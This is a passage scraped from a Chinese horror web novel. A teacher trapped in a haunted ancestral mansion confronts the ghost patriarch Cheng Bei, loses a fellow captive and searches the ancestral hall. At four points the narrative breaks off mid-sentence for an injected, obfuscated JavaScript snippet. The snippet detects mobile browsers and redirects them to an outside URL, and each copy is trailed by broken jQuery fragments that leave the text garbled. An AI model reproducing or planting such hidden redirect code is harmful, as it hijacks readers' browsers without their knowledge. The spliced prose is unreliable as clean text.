我一听这话就感觉不妙,且不说我这微薄的程家血脉算不算程家人,就说最正统的程翠,进了这儿也有死亡的风险,我怎么敢想象程碑把我们困在这里是为了我们好? “既然我们是程家人,为什么要我们的性命?”我又质问道。 “不是牺牲,只是让你们回归程家而已,”程碑走下高座,迈着年迈而踏实的步子缓缓向我走来,“你们每个人都是程家复兴的力量,身为程家人,这是你们的责任,也是你们的荣耀。” 我隐约明白了一点:既然程碑说我们的死不是牺牲,那就说明死亡也是他们计划中的一环,是程家复兴的力量之一。 我还准备继续追问,程碑就停在了我的面前,微佝偻着身子的他只能与我平视,但带给我的压迫感却没有减少多少。 他抬起手似乎想抚摸我的头,却最终没有搁下手:“文青丫头,时间到了,你该走了。” 我的视线开始模糊,声音也离我越来越远,情急之下我慌乱抓住了袁宋的手腕。 “老师,我在。” 我忍不住闭了闭眼睛,再睁开眼时厅堂里只剩下了我和袁宋两个人。原先的桌子上摆放着一本薄薄的册子,前面是程家的族谱,后面就是我和宁雪她们的祖籍。在族谱里我看见了程碑程翠和程学英三人的名字,我的曾祖奶奶程学英却是是程家的旁支,宁雪和蔡思琪的曾祖也是。 “老师,快八点了,你还没吃早饭。”经袁宋这么一提醒,我顿时觉得肚子饿了。他说要去饭堂给我拿点吃的,一打开门就看见程翠端着放着两个包子的碗和袁怔站在门口。 “你们没事就好。”袁怔率先进了厅堂,程翠忙跑过来将碗递给我,我道了谢。 我是程家人后代的事在袁怔意料之外,他拿着册子仔细看完一遍后才平静下来。 “姐姐,老太爷有提起我的高祖奶奶吗?” 程翠的这句话提醒我了,大小姐是老太爷死前最心心念念的亲人,如今再见倒没有提起她,而且她的后人现在就在这里,连姓名都一样。 听了我的回答,程翠有些失落地垂下眼:“难道老太爷还在怪罪高祖奶奶?” “怎么可能?”我连忙安慰她,“老太爷唯一想保的人就是大小姐,心疼都来不及呢,怎么可能怨她?我想他现在最关注的就是程家复兴的事,或许一时没有想起大小姐来。” 程翠勉强应了一声便不再说话。鉴于情况有变,我向袁怔提议将这一切公之于众,然后大家再商讨离开这里的办法。直觉告诉我这一次和以往的情况很不一样,程碑也不会这么轻易就放我们离开,我们必须要考虑其他出去的办法。 “她们未必信你。”袁怔说。 “这也不碍事,只要她们的行动在我们的掌控之下就行。我们这边是四个人,那边排除事不关己的和尚,就两个人还能反对我们不成?”这是我的心里话,我想活着出去,并希望所有人都为此而努力,程婆婆的事不能再出现第二次。 我也趁机问起了程婆婆被附身的事。袁怔作为稽查员自然能敏感地察觉出妖魔鬼怪,昨天中午,先是我受程婆婆刺激丢了魂魄,接着就是程婆婆被这里的鬼东西侵入。袁怔为了防止程婆婆害人将她关进了自己的房间,并从外面把门闩上,却没想到杨菊让他做了无用功。 “听你的描述,程婆婆并不是被完全附身,她有自己的思考和处事逻辑,这种情况更像是被鬼唆使。”袁怔同我一条条梳理起昨天的情况。 “应该是。而且她对我们的不满早就存在了,即使昨天不被唆使,在面临分歧的时候也不会站在我们这边。以她的说服水平,拉拢除了我们和和尚之外的其他人或许不是大问题。”我点点头。 “程婆婆、杨大娘、宁雪、狄堂和蔡思琪,”袁宋有些后怕地点着人数,“如果没有杨大娘擅自开门,也许还真能让程婆婆拉到四个人,那我们反而没有优势了。” “应该没那么糟糕,”程翠已经从失落的情绪中缓和过来,也参与到讨论中来,“因为她们从一开始就是中立的,不容易被拉拢,即使加入程婆婆那边也有很大可能会倒戈。哦,不过我们现在不用担心这个问题了。” 有点地狱。我不自觉扯了扯嘴角,说不清自己到底是什么心情。我很少接触死亡,所以才会被杨菊狄堂的死亡刺激到在非安全时间内闯进厅堂。我现在还没有从死亡的阴影中解脱出来,只能让自己尽量不去想那黑色的利爪和凝固的血泊,还有三双惊恐的眼睛。 “爸上次说见到老太爷就能出去,但我看他并没有放我们出去的打算啊!”袁宋急忙向袁怔求证逃离老宅的信息,“爸,上次老太爷跟你说什么了?” “他说,”袁怔将目光慢慢移到程翠脸上,“他说,要我找到程家后人。” 面对袁宋惊讶的神情,袁怔继续说道:“外人只能跟着程家人才能进来,我和程翠、你和夏老师、狄堂和蔡思琪都是这个情况,否则我们根本进不来。五年前我们三人能离开这座宅子,就是因为这个。” 袁怔的意思很明显,这个局只是针对程家后人,其他人都是被牵连进来的,而上次甚至更早的幸存者大概都是意外进入这里的“外人”。 我和程翠对视一眼都没有说话,袁宋低头沉默了半晌,又恢复成坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156084|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定的神色:“爸,我们是站在同一条阵线上的,我不能接受老师她们牺牲。” “没错,”我趁机接过话,“袁先生,程翠是你带进来的。你说过,你带她来是为了结束这一切而不是让她牺牲的。” 袁怔还没来得及回复我,程翠就忙着开口:“可是如果将我留下就能结束这一切的话,我愿意……” “够了!”我终于忍无可忍,站起来大声质问她,“你以为你是程翠的后人,牺牲自己就管用吗?程碑留在这里的目的根本就不是你的高祖母,他要的是程家后人的性命!你的死亡并不会终结这里,反而只会化成肥料来滋养这个已经腐朽的大宅院,然后让更多的人牺牲。” “对不起,我,我……”程翠立即慌乱起来,手足无措地扯着自己的裙摆,脸上红了一大片。 到底只是个孩子,说她几句就臊成这样,哪能让她去牺牲?我叹了口气。 “好了,”袁怔和和气气地拉着我坐下,“是我考虑不周的问题,不过我从来没有想过让你们牺牲,别担心。” 我承认袁怔能找到程翠这个最关键的程家后人有点本事,但我手里的信息也不比他少,更何况程碑这个人还是我先见到的。与其相信他能带我们出去,不如相信集体的智慧。 “那,”袁宋左看右看,试图将讨论话题拉回正轨,“爸,老师,我们还是讨论一下怎么才能出去吧。” 我原本对程碑是有些害怕的,但一想到他想要我的性命,我就越想越气。我甚至在想,能不能把他暴揍一顿,但他又是鬼,也不知道活人能不能近他的身。 诶!我盯着供桌上的蜡烛,忽然有了一个极端的想法。 “老师在想什么?” 我对袁宋露出一个似笑非笑的表情:“我从小就喜欢玩火,这次我想玩一把大的。” “啊,姐姐,不行!”程翠“啊”了一声连忙拉住我的手,“这是违背祖宗的决定。” 我斜她一眼:“祖宗都想要我命了,这祖宗不要也罢。” 程翠又缩了回去,看得出她想反对我,但又找不到合适的理由。我觉得这个孩子就是太实诚,一张相似的脸和一个共用的名字就将她困在了百年前。 “纵火是个大事,如果对他们没有影响反而把我们烧死了,这就得不偿失了。”袁怔劝我这件事要和大家商量后再做决定,我同意了。于是袁怔主动请缨,表示自己会在午饭时间留在厅堂去见程碑。 我觉得程碑中午不一定会来了,而且如果中午厅堂里的不是程碑而是那些鬼东西,袁怔可能会遭遇危险。袁宋和程翠都认同我的看法,他们对袁怔的感情更深,脸上的担忧也越明显。 但袁怔向我们保证他一定会活下来,因为他说过会带我们出去。 几人僵持了很久,直到十二点之前他将我们推出厅堂,袁宋也趁机将护身符塞给了袁怔。 他们这种稽查员应该都会有保命的手段吧,我想安慰袁宋,但看到他失魂落魄的神色,我最终还是什么都没有说。 9. 消失 中午饭堂里和尚不在,程翠说他早上就没有出现,袁怔敲门问过,房间里并无反应。 “不会死了吧?”宁雪后怕地问道。 “他没有死。”那本册子上还有行胜的名字呢,我一边吃饭一边把昨晚到今早的事情都跟她俩说了,只是没提起袁怔是稽查员的事。 我给的信息量太大,她们缓了很久才勉强消化完,毕竟在此之前她们的认知还停留在只要牺牲程翠就能出去这一“推断”上。 “你说的都是真的?”蔡思琪呐呐道。 “当然,我没有心情编故事。”我特意记下了她俩祖父母的名字,这样她们才相信我。 比起蔡思琪的不知所措,宁雪明显接受信息的速度要快得多。果然人只有对比着看,狄堂还在的时候,蔡思琪就显得精明多了。不过要是论脑子,我还是会投程婆婆一票。 “可是上次程婆婆还说只要牺牲程翠我们就能出去呢。”宁雪说着还小心地看了程翠一眼,程翠只是安静坐着,没有说话,不知道在想些什么。 “她只是知道的没有我们多,”其实我知道她只是想找一个风险最小的求生道路,“我不是说过了,程碑是要把我们都留在这里来复兴他心心念念的程家。你要是真信了她的话,这辈子也别想出去了。” 中午的时间仅够她们消化这一切,我给了她俩一下午的时间去考虑是否选择和我们齐心协力一起想办法出去。 “你有什么想法?”蔡思琪问我。 我摇摇头:“目前还没有很稳妥的办法,晚上大家再商量吧。”我暂时没有将放火的打算告诉她们,一个下午的时间也能让我思考一下还有没有其他办法。 交流信息占用的时间太多,这顿午餐我吃得匆忙,没尝出什么味道。程翠还是老样子,安静又规矩,袁宋则少见得沉默了很多,或许是在担心他的父亲,饭也没吃几口。 饭后我们回到厅堂,却不见了袁怔的身影。 “爸!爸!”袁宋焦急的呼唤充斥了厅堂的每一个角落。这完全出乎我的意料,稽查员不该会有保命的手段吗?我以为他会是最牢靠的人,即使我们都死了他也会活下来。 等等,还有册子!我急忙去供桌边查看,却发现册子也跟着消失了。 厅堂不大,桌椅也不多,整个空间一览无余。袁宋连角角落落都没放过,然而还是没有发现袁怔的踪迹。急昏头的他就要去打开大门,幸好被程翠及时发现,我们齐力将他拽回供桌旁,死死将他按在桌角旁。 看着他不死心还想出去的样子,我真想给他一巴掌,但在深吸一口气后还是忍住了。我回想起昨晚杨菊和狄堂的表现,其实死亡是可以避免的,但无奈他们一人头脑昏聩一人精神崩溃,才有了最糟糕的结局。 袁宋刚才也是,如果是在之前,他肯定不会有如此失智的表现。但袁怔是他的父亲,一旦有了情感的牵扯,理智就会像雾一样时有时无了。 “袁宋!”我第一次如此严厉地叫他的姓名。 他终于安静下来,没有抬头看我,只是垂着头一言不发。我理解他的崩溃,轻轻拍了拍他颤抖的肩膀,就像袁怔经常做的那样。 “失踪不代表什么,我见过袁叔变魔术,很厉害,他一定会没事的。”程翠也蹲在他身边安慰他。 程翠的声音很轻,却带着十足的信任。袁宋抬头看了她一眼,又看向我,眼眶红红的,声音有些沙哑:“老师,对不起。” “我们会陪你找到他的。”我只能这样安慰他。十六七岁的少年都意气风发,天不怕地不怕,但俗话说过刚易折,我最担心他做傻事。于是我又提起了他的母亲。宋梅平还在外面等着父子俩出去,无论发生了什么,我希望袁宋为了母亲的等待也该努力活下去。 提起宋梅平,他终于忍不住哭出了声,但哭泣过后他的心情反而平复了许多。 “老师放心,我不会做傻事的。” “好。”我看着袁宋和程翠,少年身上还有着未脱的稚气和热忱,那一刻我忽然觉得自己的身影变得高大了,大到能将两个孩子遮挡在身后。 纵火只是我一时冲动的想法,我在冷静后就打消了这个念头。作为被囚禁在深宅的人类,我们的力量和鬼物相比实在渺小,万一伤害不到他们反而累及自身,更是得不偿失。 追根溯源,如果想活着离开,我们还是应该找到古宅吃人的症结所在。我想知道程家当年发生了什么,老太爷他们为什么能存活百年,以及程家复兴需要后人性命又是怎么一回事。 程家的迅速衰败,我曾从曾祖母的梦里窥得一二。在战火纷扰、动荡割据的时局里,人人命运都如浮萍一般飘摇,多少大家族都难以保全自身,炮火能将山川夷为平地,又怎会把小小的程家放在眼里。程家被动了根基后衰败之势便不可遏,没过多久族人就四下散去,世间繁华不外乎如是,没有什么能永垂不朽。 “老太爷他们肯定是不甘心就此覆灭,所以才要执着地复兴程家。”程翠忧心忡忡地说。 “程碑在程家完全倾覆前就已经死了,我想那个时候程家大概已经在走下坡路了。只是他死后灵魂为什么没有消失,难道世上真的有生死轮回的说法?”我看向袁宋,作为非管所稽查员的孩子,他多少应该听过怪力乱神的故事。 袁宋果然和我们讲起鬼魂之说,不过这也都是袁怔的说法。据袁怔所说,人具有二魂一魄,二魂即本魂和生魂,本魂也就是我们常说的灵魂,而生魂则是人生前的记忆,人死魄散,生魂也会逐渐消失,只有本魂会逆着冥河而上,直到回归初始之地。 “人与人的缘分只有一辈子,错过了也不会有来世。”这样的说法似乎有些悲伤,不过普通人平安度过一生已是足够,哪里会去奢求来世? “就没有意外吗?”我问袁宋。我想如果没有意外,也不会有非管局非管所的存在了。 “当然有,”袁宋点点头,“程家和程碑就是。一般人死了就死了,程家却不知用了什么法子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156085|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬是将自己延续了下来,不过这种逆天而为的事都会有代价。” 袁宋皱眉思考了一会儿:“或许那些黑暗中的东西就是……” “也有可能是程家后人的性命。”我补充了一句。牺牲我们换程家复兴只是老太爷的一面之词,我并不全信,或许他只是为了自己长生呢? 我怀疑从程碑死亡开始,程家就已经和某些异常力量勾结上了,用了些不太光彩的法子延续自己。我想仅靠不甘心和怨念是不可能让宅子延续这么多年的,如果仅靠怨气就可以变成鬼,那这世界上到处都是厉鬼了。 我将自己的猜测告诉了两人,他们也点头表示认同,不过真正的原因估计还要调查一番才能知道。 我们的分析就到这里,很快到了晚餐时间,和尚已经一天没有出现了,袁怔也是。蔡思琪毫无所觉地向我们询问袁怔的情况,为了避免动摇人心,我只说袁怔和常人不同,他有自己的行动。提及袁怔,袁宋不禁撇过头去保持沉默。 蔡思琪和宁雪都没说什么,也同意了我中午提出的合作。她们要求公开情报,我本就没有隐瞒的打算,便将能说的都说了,包括我们下午的猜测。 两人思索了一番,决定今晚和我们一起去厅堂。挺好的,两人都在我们的眼皮子底下,我不求她们有什么贡献,只要不像杨菊那样背刺就行。 厅堂里,我们围着桌子坐在一块儿。 “为什么不早些告诉我们厅堂安全的事?”蔡思琪问我。 我不知道她是否会因为狄堂的死亡而对我们有怨气,但这件事错不在我们,我不会给她质问的机会,于是我故意露出不满的神情,先发制人:“想说但是一直没有机会,大家的注意力都在程翠的身份上。何况你们更相信程婆婆,说了你们敢来吗?” 蔡思琪默了默:“但这不是不说的理由,如果狄堂昨晚就在厅……” “没有如果,”我立即打断她的话,“你没有发现他早就在精神崩溃的边缘了吗?他已经承受不住了,程婆婆的谎言那么大漏洞,他明显是自我放弃。他害怕到只相信房间那个弹丸之地,告诉他厅堂安全只会加大他的不安,他或许会放弃得更早。” 将狄堂的死都推到他自己身上是有些不道德,但我又不是什么好人。况且狄堂死都死了,我绝不能容忍蔡思琪借机来质问我,何况她当时对狄堂的精神状态不也是视若无睹吗?她如今来责问我不过是借道德之名占据更多的话语权罢了。 蔡思琪眨着眼睛似乎还想说什么,袁宋没有给她机会,替我堵住了她的话:“现在再质问这些又不能让人死而复生,我们还是讨论一下后面的行动。” 宁雪看了我们一眼,将话题转移到行胜身上:“和尚不也除鬼度化吗?为什么他一直没有动静?” 我也想知道,行胜打酱油的表现太明显了,但他一直以来的沉默又足以让众人忽视。可他的师祖是当年主持程碑丧礼法事的如庸法师,他来到这里只会是一个无关轻重的角色吗? 10. 试探 蜡烛已经燃尽了,在黑暗里再明亮的眼睛也不会熠熠生辉,我们靠着桌脚闭眼休息,却是心思各异。 我正在脑海里搜刮那少得可怜的关于曾祖母的画面。其实她的长相我已经记不太清了,毕竟我出生的时候她已经七十多了,又不住在我家,在我有限的记忆里就是一个满脸皱纹却又笑得慈祥的老太。她不大喊我的名字,只叫过我“小丫头”,好像也给过我糖吃。 爸爸说曾祖母经历过动荡的战争年代,见识过侵略者烧杀抢掠的罪行,能长长寿寿活到八十多已是幸运。不过她已经过世了,在我不到十岁的时候。她儿孙不少,听说不太喜欢我爸爸,也连带着不怎么喜欢我,所以我对她的印象才比较模糊,连姓名都未曾了解。 但我们的血缘关系还在,我甚至在想她生前会不会记得我,所以我才能以梦境的形式窥见她的过往。 一觉醒来已是第二天,我看了一眼时间:六点四十五分。我醒来的第一件事就是去翻看册子,行胜还在,但袁怔的那一页却消失了。 袁怔死了吗?可他不是稽查员吗?我的心一沉。接过册子的袁宋脸上一下子失去了血色,双手颤抖,红着眼说不出话。他好不容易被我安抚下来的混乱情绪又迅速滋生,我真害怕他又做出什么来。宁雪和蔡思琪接连醒来,看到我们的举动也很快意识到了什么,对袁宋投去同情的神情后便兀自站在一边。 沉默而悲伤的气氛蔓延在整个厅堂,我留给袁宋不到一刻钟的消化时间,然后在接近七点时,我告诉他们,我要留下来见老太爷。从昨早老太爷翻看册子的举动来看,他很有可能会在每一天早上,或者说在死人后的第二天早上出来检查册子,我认为自己遇见他的把握相当大。 “我也要留下来,我要去找他。”袁宋的声音很低沉,带着一丝哭腔,我知道他说的“他”是袁怔。 “不,”我淡淡看他一眼,语气从来没有如此平静过,“我会帮你去找他,但你的母亲还在外面等你,你不要让她担心。” 现在的袁宋听不进去那么多,我能了解,所以我继续劝他。程碑要的是程家人的性命,我至少有和他谈判的资格,而袁宋留下来能做什么,他只能让我分心去担心他会不会被袁怔绑为人质。 面对执拗的袁宋,我再次忍下扇他一巴掌的冲动,最后一次用程翠来劝他:“你留下来让程翠怎么办?你别忘了你爸把程翠带进来是为了什么,他说过要带程翠平安出去,父债子偿,你要把程翠扔下去辜负他的一番心血吗?” 我想宁雪和蔡思琪对我并没有十足的信任,我对她们也是,程婆婆的那些话已经让我们之间生了嫌隙,所以我不能让程翠这个“羔羊”独自面对她们。 袁宋动摇了,时间已经走到了六点五十九分,我顾不上和他再解释,迅速把他们四人都推出了厅堂。在大门关上的一刹那,我看着袁宋红着眼眶对我说:“老师,我会来找你的。” 呸呸呸!真不吉利,说得我就要死了一样。我突然发觉自己的眼眶有些涩,独自站在空荡荡的厅堂里,那些恐惧又从心底悄然生出。然而我没法后退,不是为了别人,而是为了自己的性命。 七点一到,我看见厅堂正座后的墙壁向两侧打开,程碑披着大衣从点着壁灯的走廊里走出,径直来到厅堂拿起供桌上的册子翻看起来。他对我的存在有些迟缓,起先并没有发现我,直到察觉册子被人翻动过时才抬头直勾勾地朝我站立的方向看来。 “哦,是文青丫头啊。”他对我露出一个勉强算得上和蔼的笑。 “老太爷,是我。”我回应道。 “呵呵,一天不见,倒是变得有礼貌了。”程碑拿着册子又坐回高座上,两侧的门再次合上,形成严丝合缝的墙壁,原来我们都被正中的这面墙欺骗了。 “怎么才能放我们离开?我在人间的愿望还没有完成,我不想这么快死。”我不想和他兜圈子,直接说出了心里话。 “你这丫头说话太直了,”程碑嗔怪地看了我一眼,“为什么想留在人间?你有钱财权势吗,你生活得很幸福吗?” 没有,我如实回答:“但无论我活成什么样子,生命权都在我自己手里,我可以自己选择生,也可以自己选择死,不由旁人决定。况且我的父母都在人世,为人子孝道还没有尽,怎么能让他们白发人送黑发人?” 我想程碑作为百年前的人肯定很重视纲常伦理,因此故意说些孝道之语想让他动容。 他点点头表示认同:“你说得不错,不过凡事有轻重。家族利益为大,作为程家人,程家复兴就是首要的事。” 和这种人对话简直如同对牛弹琴,我深吸一口气压下内心的愤怒,尽量语气平和地问他:“程家复兴需要我要怎么做,是被那些东西杀死,还是我现在就自杀?” 程碑笑眯眯地打量着我的神情:“都一样,反正我们只要你的灵魂。” 只要灵魂,那血肉呢?我想起杨菊和狄堂,我亲眼看着他们死在走廊和房间,可第二天他们的尸身就和程婆婆一起消失了。除了程碑,我再没看见程家人出来过,所以是什么东西处理了它们?于是我问程碑,那些死在这座宅子里的人,他们的尸首去了哪里? “当然是被吃了。”我第一时间就想到了黑暗里的那些东西,我还不知道它们是什么,只知道它们会引诱人、控制人、杀害人,再多一个吃人也没什么奇怪的。 “是谁吃的?”我又问。 “就是你们害怕的那东西,它们守在这里也不容易,总要有点补给,”程碑对上我狐疑的眼神,故作轻松地笑了笑,“你这样看着我做什么,我又不会吃人。” 他没有过多隐瞒,我立即拼凑出了不少信息,但这还不够:“我死后也会变成鬼留在这里,和你一样?” “想和我一样很难了,”程碑缓慢地摇了摇头,脸上仍然带着几分笑意,“不过程家复兴那天你们会得到自由。” 这个承诺对那些被钉死的灵魂来说很有吸引力,但对我来说毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156086|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意义。我本身就是一个活生生的自由人,犯不着对一个牺牲我后又给我一点小甜头的老鬼感恩戴德,而且再怎么自由我还是行走在阴暗中的鬼,这算什么自由呢? 我想知道他和程家宅子是怎么变成这副鬼样子的,这是我的最后一个问题。然而程碑却不肯回答了,他嫌我问得太多,还嫌我不礼貌。 我认为我用词已经足够友善了,“老不死的”几个字在我嘴边滚了一圈都没有说出口,最开始我还喊过他一声“老太爷”呢。老鬼就这样,活了这么长时间也看不见天道,更学不会洒脱,对一个血脉稀薄的人都能斤斤计较。 他没再说两句就说时间到了要离开,这次他没有停在我的面前叫我“文青丫头”,于是我壮着胆子上前一步拽住了他的袖子。我想跟着他去程家深处看看。 袖子里是空的,捏到袖子只能感觉出两层蚕丝布料,但他的胳膊又是真实存在的。过于虚妄的表象遮住了我的眼,我的脑子甚至一时没有反应过来他是否真的存在。不过我紧紧拽住了他的袖子不肯放手,程碑没有理会我的拉扯,一个瞬间就消失在了我面前。 壁灯里的灯油静静地燃烧着,这个时候分明是清晨,走廊里却没有一丝日光。我跟着程碑穿过走廊,后面就是正宅。 原来正宅里是没有白昼的,到处都是粘稠的黑。宅基很大,我能依稀能辨认出亭廊假山、池水草木,但再精巧绝伦的设计在黑暗中都会被模糊成一团。 这应该是程家覆灭前的样子,难怪程碑付出这么大的代价都要让程家再兴,如日中天的权势财富确实让人难以割舍,让一个享受了一辈子的人从高处跌落下来比杀了他还让他难受。我心里嗤笑了一声,想让我变成宅子的垫脚石?无论如何我都不会让他如愿。 穿过亭台游廊,我们就来到了正堂。我听见许多窸窸窣窣的说话声,但却怎么也听不清楚。我先是在正堂巡视了一圈,确实是我梦中孩子们给程碑拜年的地方,当年就是在这里,程学英一抬眼就见到了程翠。梦中“我”对大小姐的感情是既羡慕又欣喜的,说明当年的程学英就是如此。 老太爷又无事可干地坐在正座上,管家出现给他倒了一杯茶,也给我倒了一杯,我就顺势坐在他的右手下。管家还是我进入宅子时看到的那一位,不爱说话,脸上也没有什么表情,但我却从他身上感受到了“恭敬”,是独属于那个时代奴仆的恭敬。 “小姐请用茶。” 我几乎就要从椅子上跳起来:“谢谢,不用麻烦了!” 程碑看我一眼,慢条斯理地喝了一口茶,然后才问我为什么要跟他进来。 “这里不是你待的地方,你待时间长了身体很快就会腐烂,喝杯茶会好一些。”程碑提醒我。 我下意识摸了摸手臂,看着茶杯却没有动作。我怀疑他的好心:“我如果死在这里不是正合你意吗?” “如果我说,我想让你当程家的继承人呢?”程碑目光锐利如鹰隼,将我钉在原地不得动弹。 11. 秘密 恐惧油然而生,我下意识吞了口唾沫:“你刚才还不满意我,为什么现在又想让我当继承人?” 程碑瞥我一眼,不紧不慢道:“能让我满意的人很少,没被我赶出去就已经很不错了。” 我立即想到了程翠,如果不是当年家族突然的衰败,她应该就是程家的继承人。现在小程翠就在这里,我想知道程碑会怎么选择。 “你不是最钟意程翠吗?你也知道她的后人已经来了,长得很像年轻时候的她。” “翠已经死了。纵使有人再像她,这世上也只有一个程翠。”他这话的意思就是不会顾忌小程翠的性命,程婆婆原先的计划已然破灭。也是,如果他真的在乎小程翠,就不会连一句话都不问,也不让她来看他。 我很少见到程碑这样的人,一般人都是爱屋及乌,但他不同。他只钟意程翠一个孙辈,从梦境和他人的讲述中,我都没有感觉到程碑对其他孩子甚至她父母的在乎。 “好吧,我理解,”我试图用程翠唤醒他的舐犊之情,“但就算看在程翠的面子上,你也不能让她的后人去死吧。小程翠长得真的很像她,我想她如果还活着肯定会很喜欢这个玄孙。” “是吗?”程碑“呵”了一声便不再说话了。 我自然不相信程碑画的大饼,一个为家族筹谋了百年的老头怎么会轻易放权?现下从他嘴里再探不出别的东西了,我只能去其他地方看看,程碑也没有阻止我。我感觉更糟糕了,如果他阻止我,还还能证明宅子里有不可触碰的禁区,但他现在放任自流,说明只有两个可能,一是我找不到宅子的弱点,二是我的举动都在他的掌控之中。 我的当务之急是要找到程宅和程碑变成如今模样的原因,我想只要破坏了这座宅子,一切应该就能结束了。至于程碑和住在这里的程家人,应该也会随着程宅消失。 宅子里到处充斥着说话声,却如同窃窃私语和呢喃一般模糊。灯火通明的房间都没有落锁,虽然程碑默许了我随意检查,但我还是小心判断着房间内的情况,如果里面有东西我就不进去,以免真的被吃掉。 “一,二,三……”我一边记着数一边打探着每一间房,忽然听到了熟悉的人声:“夏老师。” 是袁怔,我立马凑近了耳朵去听。 “夏老师,是我,我是袁怔。” “你还活着?你怎么知道是我?”我有些怀疑。 袁怔在房间内叹了口气:“我不是它们,它们的说话声我都听不清楚。我正好听见数数的声音,猜到就是夏老师了。” 我试着推了推房门,打不开,于是问他是不是被困在这里了。 “是,我从昨天中午一直被困在现在。对了,他们怎么样了?” “行胜和尚一直没有出现,蔡思琪和宁雪被我说服进了厅堂,程翠还好,倒是袁宋哭哭啼啼地要来找你。我放心不下程翠一个人,就把袁宋留下了。” 袁怔沉默了一会儿:“幸好他没有来,否则我也救不了他。” “这到底是怎么一回事?”我急忙问他。 原来袁怔昨天中午没有见到程碑,据他所说,十二点一到,厅堂的墙壁就打开了,很多黑蒙蒙看不清模样的东西涌了进来。他立即意识到了危险,然后冲过墙壁一头扎了进来。宅子里昏暗到看不清路,那些东西又对他紧追不舍,他慌不择路躲进了房间。命是保住了,人却出不去了。 他说这里确实不是人能生活的地方,时间久了无论是谁都会变成程家人,然后再被同化成我听到的那种东西,幸好袁宋在关门前递给了他一张护身符,否则他可能已经遭难了。我伸手摸了摸胸口正发着金光的护身符,没想到它有这么大作用,既然它这么有用,和尚为什么不每人发一张,还是它的数量有限? “你怎么知道进了这里会被同化?”这里不适合生人是程碑告诉我的,袁怔既然没见到程碑,他又是怎么知道这一信息的,难道他对我们还有隐瞒? “我曾经跟你们说过,五年前只有三个人见到了程碑,一个是我,一个出去后精神失常,还有一个留在了这里,”袁怔顿了顿,在我还没来得及质问他前又开口,“她就住在我隔壁,同化的事是她告诉我的。她还说,当年她们俩进入宅子后本魂都被同化了一部分,只有留下来才能保持神智,离开的会因为本魂不全而精神失常。” 我大惊失色:“你能听懂他说话?为什么我完全听不懂这些声音在说什么?” 袁怔叹了口气,语气十分沮丧:“你听到的声音是鬼语,只有受到同化才能听懂。托护身符的福,我只是被同化了部分生魂,所以能听懂一些鬼语,也能和你交流。” 所以袁怔已经是不完全同化体了,而我还没有。 一个专门处理非自然事件的稽查员竟然连一个保命符都没有,非管所是做什么吃的?我觉得袁怔这次行动的冲动程度不亚于我,但他前期表现得又如此谨慎,真让人捉摸不透。 我的眼神暗了暗,因为我突然意识到一点,拥有更多信息的人往往会将别人当成试验品,程婆婆是,袁怔和行胜很可能也是,而我,毫无疑问成为了试验品。为什么前期他们都没有行动?因为他们在等狄堂这类蠢货和像我一样的鲁莽人。 房间从内从外都无法打开,我暂时放弃了救袁怔的打算。和他又说了几句话,我又继续查看其他房间。 没有可以进去的房间了,但是我推开了一扇大门。长生烛的火焰猛地一跳,我走进了祠堂。这里是程碑下葬前尸体存放的地方,当年程学英和程家人跪在这里哭灵了很长时间。 祠堂内存放着大大小小数百个牌位,我第一次见到这种场景,却没有我想象中的瘆人。上头是程家先祖,程碑的名字清晰地立在第五排的中间,程翠和程学英的名字刻在下面,她们的牌位隔得很远,是主支和旁支相隔的距离。看着她们的名字,我突然想到,如果程翠和程学英的鬼魂在这里,她们看见我时会说些什么,也会变成像程碑那样的人吗? 祠堂有左右耳房,左耳房存放香烛,右耳房是休息间,我将三个房间都仔细搜查了一遍,没有特殊发现。于是我将目光又重新移到牌位上,左下角是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156087|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大写的生卒年,我注意到六七排的部分牌位卒年是同一年,而且是程碑卒年后的第三年,推算起来应该是程家彻底垮台的那一年。 